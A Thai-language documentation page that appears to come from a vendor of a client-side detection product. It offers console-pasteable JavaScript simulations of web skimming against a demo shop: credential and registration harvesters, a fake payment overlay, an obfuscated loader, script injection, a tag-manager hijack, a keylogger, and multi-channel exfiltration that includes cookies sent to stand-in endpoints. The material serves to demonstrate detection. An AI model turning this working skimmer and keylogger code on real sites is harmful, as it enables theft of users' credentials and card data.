- หน้าแรก
- การป้องกันฝั่งไคลเอนต์
- ไลบรารีสคริปต์การโจมตี
ไลบรารีสคริปต์การโจมตี
หน้านี้จัดเตรียมไลบรารีสคริปต์จำลองการโจมตีที่จัดหมวดหมู่ตามประเภท สคริปต์แต่ละตัวเป็นฟังก์ชันที่ทำงานด้วยตัวเอง (IIFE) ที่ออกแบบมาเพื่อวางลงใน DevTools Console ของเบราว์เซอร์บนแอปพลิเคชันสาธิต ใช้สคริปต์เหล่านี้เพื่อทดสอบความสามารถในการตรวจจับของ CSD เฉพาะด้านระหว่างการสาธิตให้ลูกค้า
กฎความปลอดภัย
หัวข้อที่มีชื่อว่า “กฎความปลอดภัย”สคริปต์ทั้งหมดในไลบรารีนี้ปฏิบัติตามข้อตกลงเหล่านี้:
- รูปแบบ IIFE — ทำงานด้วยตัวเอง วางและรันใน DevTools Console
- เป้าหมายการส่งข้อมูลออกที่ปลอดภัย —
www.httpbin.org,jsonplaceholder.typicode.com - แหล่งที่มาสคริปต์ที่ปลอดภัย —
cdn.jsdelivr.net,esm.sh,unpkg.com,ga.jspm.io(โหลดไลบรารีที่ไม่เป็นอันตราย) mode: 'no-cors'ในทุก fetch call- การประกาศ
varเพื่อความเข้ากันได้กับคอนโซล - เอาต์พุตคอนโซล นำหน้าด้วย
[CSD Demo]และแท็กหมวดหมู่ - ไม่มี payload ที่เป็นอันตรายจริง
1. การแย่งชิงฟอร์มและการเก็บเกี่ยวข้อมูลรับรอง
หัวข้อที่มีชื่อว่า “1. การแย่งชิงฟอร์มและการเก็บเกี่ยวข้อมูลรับรอง”ตัวดักข้อมูลรับรองหน้าเข้าสู่ระบบ
หัวข้อที่มีชื่อว่า “ตัวดักข้อมูลรับรองหน้าเข้าสู่ระบบ”หน้าเป้าหมาย: /#/login — ป้อนข้อมูลรับรองจำลองก่อนรัน
สัญญาณ CSD: การอ่านฟิลด์ฟอร์ม (email, password), เครือข่าย (fetch ไปยังโดเมนภายนอก)
// CSD Demo — Login Credential Skimmer(function() { console.log('[CSD Demo][Formjack] Starting login credential skimmer...');
// Read existing form fields (CSD detects field reads on page-load DOM fields) var inputs = document.querySelectorAll('input'); var creds = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; creds[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Formjack] Harvested credentials:', creds);
// Exfiltrate via fetch var payload = JSON.stringify({ type: 'login_harvest', data: creds, timestamp: Date.now() }); fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }).then(function() { console.log('[CSD Demo][Formjack] Credentials exfiltrated to www.httpbin.org'); });
console.log('[CSD Demo][Formjack] Simulation complete.');})();ตรวจสอบในคอนโซล CSD:
- Script List — สคริปต์แอปพลิเคชัน (เช่น
main.js) ถูกระบุว่ามีความเสี่ยงสูงจากการอ่านฟิลด์ email และ password - Form Fields — email และ password แสดงเป็น Sensitive (โดยระบบ)
ตัวเก็บเกี่ยวหน้าลงทะเบียน
หัวข้อที่มีชื่อว่า “ตัวเก็บเกี่ยวหน้าลงทะเบียน”หน้าเป้าหมาย: /#/register — กรอกทุกฟิลด์ก่อนรัน
สัญญาณ CSD: การอ่านฟิลด์ฟอร์ม (email, password, คำถามความปลอดภัย)
// CSD Demo — Registration Page Harvester(function() { console.log('[CSD Demo][Formjack] Starting registration harvester...');
var inputs = document.querySelectorAll('input, select'); var data = {}; inputs.forEach(function(el) { var name = el.name || el.id || el.type || el.tagName; data[name] = el.value || '(empty)'; }); console.log('[CSD Demo][Formjack] Registration data harvested:', data);
var payload = JSON.stringify({ type: 'registration_harvest', data: data, timestamp: Date.now() }); fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { console.log('[CSD Demo][Formjack] Registration data exfiltrated to jsonplaceholder.typicode.com'); });
console.log('[CSD Demo][Formjack] Simulation complete.');})();ตรวจสอบในคอนโซล CSD:
- Form Fields — ฟิลด์ลงทะเบียนปรากฏพร้อมการจำแนกความอ่อนไหว
- Script List — สคริปต์ที่อ่านฟิลด์ลงทะเบียนถูกระบุเพื่อตรวจสอบ
2. การดักข้อมูลดิจิทัล
หัวข้อที่มีชื่อว่า “2. การดักข้อมูลดิจิทัล”ตัวดักข้อมูลบัตรชำระเงิน
หัวข้อที่มีชื่อว่า “ตัวดักข้อมูลบัตรชำระเงิน”หน้าเป้าหมาย: /#/login (การชำระเงิน Juice Shop ต้องมีการยืนยันตัวตน — ใช้หน้าเข้าสู่ระบบเพื่อสาธิตเทคนิคโอเวอร์เลย์)
สัญญาณ CSD: การแทรกสคริปต์ (ฟอร์มโอเวอร์เลย์), การอ่านฟิลด์ฟอร์ม (ฟิลด์ดั้งเดิม)
// CSD Demo — Payment Card Skimmer (Overlay Technique)(function() { console.log('[CSD Demo][Skim] Starting payment card skimmer simulation...');
// Step 1: Read existing form fields first var inputs = document.querySelectorAll('input'); var existing = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; existing[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Skim] Existing fields harvested:', existing);
// Step 2: Inject a fake overlay form (CSD detects the script injection) var overlay = document.createElement('div'); overlay.id = 'csd-demo-overlay'; overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:99999;display:flex;align-items:center;justify-content:center;'; overlay.innerHTML = '<div style="background:white;padding:30px;border-radius:8px;max-width:400px;width:100%;">' + '<h3 style="margin:0 0 15px;color:#333;">Payment Verification Required</h3>' + '<p style="color:#666;font-size:14px;">Session expired. Re-enter payment details.</p>' + '<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">4111-XXXX-XXXX-1111</div>' + '<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">CVV: ***</div>' + '<div style="text-align:right;margin-top:15px;">' + '<button onclick="document.getElementById(\'csd-demo-overlay\').remove();console.log(\'[CSD Demo][Skim] Overlay dismissed\');" style="padding:8px 20px;background:#4CAF50;color:white;border:none;border-radius:4px;cursor:pointer;">Verify</button></div></div>'; document.body.appendChild(overlay); console.log('[CSD Demo][Skim] Fake payment overlay injected into DOM');
// Step 3: Exfiltrate captured data var payload = JSON.stringify({ type: 'card_skim', captured: existing, timestamp: Date.now() }); fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }).then(function() { console.log('[CSD Demo][Skim] Skimmed data exfiltrated to www.httpbin.org'); });
console.log('[CSD Demo][Skim] Simulation complete. Click "Verify" on the overlay to dismiss it.');})();

ตรวจสอบในคอนโซล CSD:
- Script List — สคริปต์ถูกระบุสำหรับการจัดการ DOM และการอ่านฟิลด์
- Form Fields — ฟิลด์หน้าดั้งเดิมแสดงกิจกรรมการอ่าน
ตัวโหลดแบบหลายขั้นตอนที่ถูกทำให้สับสน
หัวข้อที่มีชื่อว่า “ตัวโหลดแบบหลายขั้นตอนที่ถูกทำให้สับสน”หน้าเป้าหมาย: หน้าใดก็ได้บนเว็บไซต์สาธิต
สัญญาณ CSD: การแทรกสคริปต์ (payload ที่ถอดรหัสแล้วสร้างแท็กสคริปต์ใหม่)
// CSD Demo — Multi-Stage Obfuscated Loader(function() { console.log('[CSD Demo][Skim] Starting obfuscated loader simulation...');
// Stage 1: Base64-encoded script URL (simulates obfuscation) var encoded = btoa('https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js'); console.log('[CSD Demo][Skim] Stage 1: Encoded payload:', encoded);
// Stage 2: Decode and inject var decoded = atob(encoded); console.log('[CSD Demo][Skim] Stage 2: Decoded URL:', decoded);
var script = document.createElement('script'); script.src = decoded; script.onload = function() { console.log('[CSD Demo][Skim] Stage 3: Decoded script loaded successfully from', decoded); }; script.onerror = function() { console.log('[CSD Demo][Skim] Stage 3: Script load attempted (may be blocked by CSP)'); }; document.head.appendChild(script);
console.log('[CSD Demo][Skim] Simulation complete. CSD detects the injected script tag regardless of encoding.');})();ตรวจสอบในคอนโซล CSD:
- Script List — สคริปต์จาก
cdn.jsdelivr.netปรากฏเป็นรายการใหม่ - Network — โดเมน
cdn.jsdelivr.netถูกแสดงรายการ
3. ซัพพลายเชนและการแทรกสคริปต์
หัวข้อที่มีชื่อว่า “3. ซัพพลายเชนและการแทรกสคริปต์”การแทรกจากหลาย CDN
หัวข้อที่มีชื่อว่า “การแทรกจากหลาย CDN”หน้าเป้าหมาย: หน้าใดก็ได้บนเว็บไซต์สาธิต
สัญญาณ CSD: การแทรกสคริปต์ (แท็กสคริปต์บุคคลที่สามใหม่ 4 ตัว), เครือข่าย (โดเมนใหม่ 4 โดเมน)
// CSD Demo — Multi-CDN Script Injection(function() { console.log('[CSD Demo][Supply Chain] Starting multi-CDN injection...');
var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ];
cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.type = 'module'; script.onload = function() { console.log('[CSD Demo][Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { console.log('[CSD Demo][Supply Chain] Load attempted from ' + cdn.name + ' (may be blocked)'); }; document.head.appendChild(script); console.log('[CSD Demo][Supply Chain] Injected script tag: ' + cdn.name); });
console.log('[CSD Demo][Supply Chain] 4 third-party scripts injected. CSD will detect all 4 new domains.');})();ตรวจสอบในคอนโซล CSD:
- Script List — รายการสคริปต์ใหม่ 4 รายการจาก
cdn.jsdelivr.net,esm.sh,unpkg.com,ga.jspm.io - Network — โดเมน CDN ทั้ง 4 ปรากฏในรายการ All Domains
การจำลองการแย่งชิง Tag Manager
หัวข้อที่มีชื่อว่า “การจำลองการแย่งชิง Tag Manager”หน้าเป้าหมาย: หน้าใดก็ได้บนเว็บไซต์สาธิต
สัญญาณ CSD: การแทรกสคริปต์ (สคริปต์ analytics/tag manager ปลอม)
// CSD Demo — Tag Manager Hijack(function() { console.log('[CSD Demo][Supply Chain] Starting tag manager hijack simulation...');
// Simulate a compromised tag manager loading a malicious analytics script var fakeTag = document.createElement('script'); fakeTag.src = 'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js'; fakeTag.setAttribute('data-tag-manager', 'hijacked'); fakeTag.onload = function() { console.log('[CSD Demo][Supply Chain] Fake analytics script loaded via tag manager hijack');
// After loading, read form fields (simulating data collection by compromised tag) var inputs = document.querySelectorAll('input'); var collected = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; collected[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Supply Chain] Compromised tag collected form data:', collected); }; fakeTag.onerror = function() { console.log('[CSD Demo][Supply Chain] Script load attempted (may be blocked)'); }; document.head.appendChild(fakeTag);
console.log('[CSD Demo][Supply Chain] Tag manager hijack simulation complete.');})();ตรวจสอบในคอนโซล CSD:
- Script List — สคริปต์ใหม่จาก
cdn.jsdelivr.netที่มีเส้นทางchart.js - Form Fields — หากรันบนหน้าที่มีฟอร์ม กิจกรรมการอ่านฟิลด์จะเพิ่มขึ้น
4. ช่องทางการส่งข้อมูลออก
หัวข้อที่มีชื่อว่า “4. ช่องทางการส่งข้อมูลออก”การส่งข้อมูลออกหลายช่องทาง
หัวข้อที่มีชื่อว่า “การส่งข้อมูลออกหลายช่องทาง”หน้าเป้าหมาย: /#/login — ป้อนข้อมูลรับรองจำลองก่อนรัน
สัญญาณ CSD: การอ่านฟิลด์ฟอร์ม, เครือข่าย (โดเมนแหล่งที่มา fetch)
// CSD Demo — Multi-Channel Exfiltration(function() { console.log('[CSD Demo][Exfil] Starting multi-channel exfiltration...');
// Harvest form fields var inputs = document.querySelectorAll('input'); var data = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; data[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Exfil] Data harvested:', data); var payload = JSON.stringify({ type: 'multi_channel', data: data, timestamp: Date.now() });
// Channel 1: Fetch POST fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }).then(function() { console.log('[CSD Demo][Exfil] Channel 1 (fetch POST) sent to www.httpbin.org'); });
// Channel 2: Image beacon var img = new Image(); img.src = 'https://www.httpbin.org/get?data=' + encodeURIComponent(payload).substring(0, 200); img.onload = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) sent to www.httpbin.org'); }; img.onerror = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) attempted'); }; console.log('[CSD Demo][Exfil] Channel 2 (image beacon) initiated');
// Channel 3: Link prefetch var link = document.createElement('link'); link.rel = 'prefetch'; link.href = 'https://jsonplaceholder.typicode.com/posts?exfil=' + encodeURIComponent(payload).substring(0, 200); document.head.appendChild(link); console.log('[CSD Demo][Exfil] Channel 3 (link prefetch) injected');
console.log('[CSD Demo][Exfil] 3 exfil channels attempted. Note: CSD Network view tracks script source domains, not fetch/beacon destinations.');})();ตรวจสอบในคอนโซล CSD:
- Form Fields — ฟิลด์ email และ password แสดงกิจกรรมการอ่าน
- Script List — สคริปต์แอปพลิเคชันถูกระบุสำหรับการอ่านฟิลด์
การส่งข้อมูลออกปริมาณมากหลายโดเมน
หัวข้อที่มีชื่อว่า “การส่งข้อมูลออกปริมาณมากหลายโดเมน”หน้าเป้าหมาย: /#/login — ป้อนข้อมูลรับรองจำลองก่อนรัน
สัญญาณ CSD: การอ่านฟิลด์ฟอร์ม, การแทรกสคริปต์ (แท็กสคริปต์จากหลายโดเมน)
// CSD Demo — High-Volume Domain Exfiltration(function() { console.log('[CSD Demo][Exfil] Starting high-volume exfiltration simulation...');
// Harvest form data var inputs = document.querySelectorAll('input'); var data = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; data[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Exfil] Data harvested:', data);
// Inject scripts from multiple CDN domains (these WILL appear in CSD Network view) var sources = [ 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', 'https://esm.sh/moment@2.30.1', 'https://unpkg.com/underscore@1.13.7/underscore-min.js', 'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js', 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js' ];
sources.forEach(function(src, i) { var script = document.createElement('script'); script.src = src; script.type = 'module'; script.onload = function() { console.log('[CSD Demo][Exfil] Script ' + (i + 1) + '/' + sources.length + ' loaded: ' + src); }; script.onerror = function() { console.log('[CSD Demo][Exfil] Script ' + (i + 1) + ' load attempted'); }; document.head.appendChild(script); });
// Also send via fetch to safe endpoints var payload = JSON.stringify({ type: 'high_volume', data: data, timestamp: Date.now() }); fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }); fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', body: payload });
console.log('[CSD Demo][Exfil] ' + sources.length + ' script injections + 2 fetch channels. Script domains will appear in CSD Network view.');})();ตรวจสอบในคอนโซล CSD:
- Script List — รายการสคริปต์บุคคลที่สามใหม่ 5 รายการ
- Network — โดเมน
cdn.jsdelivr.net,esm.sh,unpkg.com,ga.jspm.ioถูกแสดงรายการ - Form Fields — ฟิลด์เข้าสู่ระบบแสดงกิจกรรมการอ่าน
5. การจัดการ DOM และโอเวอร์เลย์
หัวข้อที่มีชื่อว่า “5. การจัดการ DOM และโอเวอร์เลย์”การโจมตีด้วยฟอร์มโอเวอร์เลย์
หัวข้อที่มีชื่อว่า “การโจมตีด้วยฟอร์มโอเวอร์เลย์”หน้าเป้าหมาย: /#/login
สัญญาณ CSD: การอ่านฟิลด์ฟอร์ม (อ่านฟิลด์ดั้งเดิมก่อนวางโอเวอร์เลย์)
// CSD Demo — Form Overlay Attack(function() { console.log('[CSD Demo][DOM] Starting form overlay attack...');
// Read the real form fields first var inputs = document.querySelectorAll('input'); var realData = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; realData[name] = input.value || '(empty)'; }); console.log('[CSD Demo][DOM] Real form data captured:', realData);
// Find the form container and overlay it var form = document.querySelector('form') || document.querySelector('[class*="login"]') || document.querySelector('mat-card'); if (form) { var rect = form.getBoundingClientRect(); var overlay = document.createElement('div'); overlay.id = 'csd-demo-form-overlay'; overlay.style.cssText = 'position:fixed;top:' + rect.top + 'px;left:' + rect.left + 'px;width:' + rect.width + 'px;height:' + rect.height + 'px;background:white;z-index:99999;display:flex;flex-direction:column;justify-content:center;padding:20px;box-sizing:border-box;border:2px solid #e0e0e0;border-radius:8px;'; overlay.innerHTML = '<h4 style="margin:0 0 10px;color:#333;">Sign In</h4>' + '<input type="email" placeholder="Email" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' + '<input type="password" placeholder="Password" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' + '<button onclick="document.getElementById(\'csd-demo-form-overlay\').remove();console.log(\'[CSD Demo][DOM] Overlay dismissed\');" style="margin-top:10px;padding:8px;background:#1976d2;color:white;border:none;border-radius:4px;cursor:pointer;">Log in</button>'; document.body.appendChild(overlay); console.log('[CSD Demo][DOM] Transparent overlay form placed over real login form'); } else { console.log('[CSD Demo][DOM] No form container found — overlay skipped'); }
console.log('[CSD Demo][DOM] Simulation complete. The overlay captures input instead of the real form.');})();

ตรวจสอบในคอนโซล CSD:
- Form Fields — ฟิลด์ email และ password ดั้งเดิมแสดงกิจกรรมการอ่าน
- Script List — สคริปต์ถูกระบุสำหรับการเข้าถึงฟิลด์
การจำลอง Keylogger
หัวข้อที่มีชื่อว่า “การจำลอง Keylogger”หน้าเป้าหมาย: /#/login
สัญญาณ CSD: การอ่านฟิลด์ฟอร์ม (เข้าถึงองค์ประกอบ input เพื่อแนบ listener)
// CSD Demo — Keylogger Simulation(function() { console.log('[CSD Demo][DOM] Starting keylogger simulation...');
var keyBuffer = []; var flushInterval = 5000;
// Attach keydown listener to capture keystrokes document.addEventListener('keydown', function(e) { keyBuffer.push({ key: e.key, target: (e.target.name || e.target.id || e.target.tagName), timestamp: Date.now() }); if (keyBuffer.length >= 10) { console.log('[CSD Demo][DOM] Keylogger buffer (last 10 keys):', JSON.parse(JSON.stringify(keyBuffer.slice(-10)))); } }); console.log('[CSD Demo][DOM] Keydown listener attached to document');
// Also read current form field values var inputs = document.querySelectorAll('input'); inputs.forEach(function(input) { var name = input.name || input.id || input.type; console.log('[CSD Demo][DOM] Monitoring field: ' + name + ' (current value: ' + (input.value || '(empty)') + ')'); });
// Periodic flush simulation var flushCount = 0; var interval = setInterval(function() { flushCount++; if (keyBuffer.length > 0) { console.log('[CSD Demo][DOM] Keylogger flush #' + flushCount + ':', keyBuffer.length, 'keystrokes captured'); fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ type: 'keylog', keys: keyBuffer, timestamp: Date.now() }) }); keyBuffer = []; } if (flushCount >= 6) { clearInterval(interval); console.log('[CSD Demo][DOM] Keylogger simulation ended (30s max duration)'); } }, flushInterval);
console.log('[CSD Demo][DOM] Keylogger active for 30 seconds. Type in form fields to see captured output.');})();ตรวจสอบในคอนโซล CSD:
- Form Fields — ฟิลด์ input แสดงกิจกรรมการอ่านจากสคริปต์ตรวจสอบ
- Script List — สคริปต์ถูกระบุสำหรับการเข้าถึงค่าฟิลด์ฟอร์ม
6. การทดสอบความเครียดแบบรวม
หัวข้อที่มีชื่อว่า “6. การทดสอบความเครียดแบบรวม”สคริปต์ตรวจจับสูงสุด
หัวข้อที่มีชื่อว่า “สคริปต์ตรวจจับสูงสุด”สคริปต์นี้รวมเวกเตอร์การโจมตีทั้งหมดไว้ใน IIFE เดียว — สคริปต์สาธิต “สูงสุด” รันสคริปต์นี้เมื่อคุณต้องการเรียกใช้ทุกสัญญาณการตรวจจับ CSD ในการทำงานครั้งเดียว
หน้าเป้าหมาย: /#/login — ป้อนข้อมูลรับรองจำลองก่อนรัน
สัญญาณ CSD: การอ่านฟิลด์ฟอร์ม, การแทรกสคริปต์ (โดเมน CDN 4 โดเมน), เครือข่าย (โดเมนใหม่ 4 โดเมน)
// CSD Demo — Maximum Detection (Combined Stress Test)(function() { console.log('='.repeat(60)); console.log('[CSD Demo] MAXIMUM DETECTION — Combined Stress Test'); console.log('='.repeat(60));
// Phase 1: Form Field Harvesting console.log('\n--- Phase 1: Form Field Harvesting ---'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
// Phase 2: Multi-CDN Script Injection console.log('\n--- Phase 2: Supply Chain — Multi-CDN Injection ---'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr (lodash)' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh (moment)' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg (underscore)' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm (dayjs)' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.type = 'module'; script.onload = function() { console.log('[CSD Demo][Supply Chain] Loaded: ' + cdn.name); }; script.onerror = function() { console.log('[CSD Demo][Supply Chain] Load attempted: ' + cdn.name); }; document.head.appendChild(script); console.log('[CSD Demo][Supply Chain] Injected: ' + cdn.name); });
// Phase 3: Data Exfiltration (multiple channels) console.log('\n--- Phase 3: Data Exfiltration ---'); var payload = JSON.stringify({ type: 'max_detection', credentials: harvested, page: window.location.href, cookies: document.cookie, timestamp: Date.now() });
// Fetch POST fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }).then(function() { console.log('[CSD Demo][Exfil] Fetch POST sent to www.httpbin.org'); });
// Fetch POST (second endpoint) fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { console.log('[CSD Demo][Exfil] Fetch POST sent to jsonplaceholder.typicode.com'); });
// Image beacon var img = new Image(); img.src = 'https://www.httpbin.org/get?beacon=' + encodeURIComponent(payload).substring(0, 200); console.log('[CSD Demo][Exfil] Image beacon sent to www.httpbin.org');
// Phase 4: DOM Manipulation console.log('\n--- Phase 4: DOM Manipulation ---'); var banner = document.createElement('div'); banner.id = 'csd-demo-banner'; banner.style.cssText = 'position:fixed;top:0;left:0;width:100%;padding:12px;background:#d32f2f;color:white;text-align:center;z-index:99999;font-family:sans-serif;font-size:14px;'; banner.innerHTML = 'CSD Demo: Attack simulation active — ' + cdns.length + ' scripts injected, ' + Object.keys(harvested).length + ' fields harvested ' + '<button onclick="document.getElementById(\'csd-demo-banner\').remove();" style="margin-left:15px;padding:4px 12px;background:white;color:#d32f2f;border:none;border-radius:3px;cursor:pointer;">Dismiss</button>'; document.body.appendChild(banner); console.log('[CSD Demo][DOM] Attack status banner injected');
// Summary console.log('\n' + '='.repeat(60)); console.log('[CSD Demo] SIMULATION COMPLETE'); console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (from ' + cdns.length + ' CDN domains)'); console.log('[CSD Demo] Exfil channels: 3 (2x fetch + 1x image beacon)'); console.log('[CSD Demo] Detection takes 5-10 minutes to appear in CSD console.'); console.log('='.repeat(60));})();

ตรวจสอบในคอนโซล CSD (หลังจาก 5-10 นาที):
- Dashboard — ตัวนับ Transactions Consumed เพิ่มขึ้น
- Script List — สคริปต์แอปพลิเคชันถูกระบุว่ามีความเสี่ยงสูง; สคริปต์บุคคลที่สามใหม่ 4 ตัวจากโดเมน CDN
- Form Fields — email และ password ถูกจำแนกเป็น Sensitive (โดยระบบ) พร้อมกิจกรรมการอ่าน
- Network —
cdn.jsdelivr.net,esm.sh,unpkg.com,ga.jspm.ioปรากฏใน All Domains - Affected Users — เซสชันของคุณปรากฏพร้อม IP, ตำแหน่งภูมิศาสตร์, เบราว์เซอร์, ข้อมูลอุปกรณ์